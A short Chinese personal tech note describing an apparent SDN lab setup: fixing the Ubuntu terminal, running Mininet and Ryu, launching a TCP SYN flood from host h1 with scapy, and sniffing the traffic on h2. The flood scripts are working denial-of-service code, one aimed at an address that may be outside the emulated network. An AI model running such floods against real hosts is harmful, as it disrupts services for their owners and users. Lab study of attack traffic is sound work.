个人技术分享

1. 习惯终端

上次把ubuntu 22自带的终端玩没了,治好用xterm:
以通过 Alt+F2 然后输入 xterm 尝试打开xterm 。
然后输入这个切换默认的终端:

sudo update-alternatives --config x-terminal-emulator

这之后就可以用Ctrl+Alt+T打开新终端了。

2. 启动攻击

执行Mininet:

sudo python3 simple_topo.py

执行ryu:

ryu-manager simple_switch.py

h1机器执行:

python3.8 -c "
from scapy.all import *
target_ip = '10.0.0.2'
target_port = 80
while True:
    send(IP(dst=target_ip)/TCP(dport=target_port,flags='S'),verbose=0)
"
python3.8 -c "
from scapy.all import *
target_ip = '192.168.111.102'
target_port = 80
while True:
    send(IP(dst=target_ip)/TCP(dport=target_port,flags='S'),verbose=0)
"

3. 接受攻击

在之前的代码中,已经捕获到攻击流量并打印。

from scapy.all import *

def packet_callback(packet):
    if packet.haslayer(IP) and packet.haslayer(TCP):
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst
        src_port = packet[TCP].sport
        dst_port = packet[TCP].dport
        flags = packet[TCP].flags
        
        print(f"IP: {src_ip} -> {dst_ip}, TCP Port: {src_port} -> {dst_port}, Flags: {flags}")

sniff(iface="h2-eth0", prn=packet_callback, store=0)

4. 宿主机查看h2机器

网桥

在VM中用网桥好像不行,这个方案得想个完全的办法。我解决了再来写。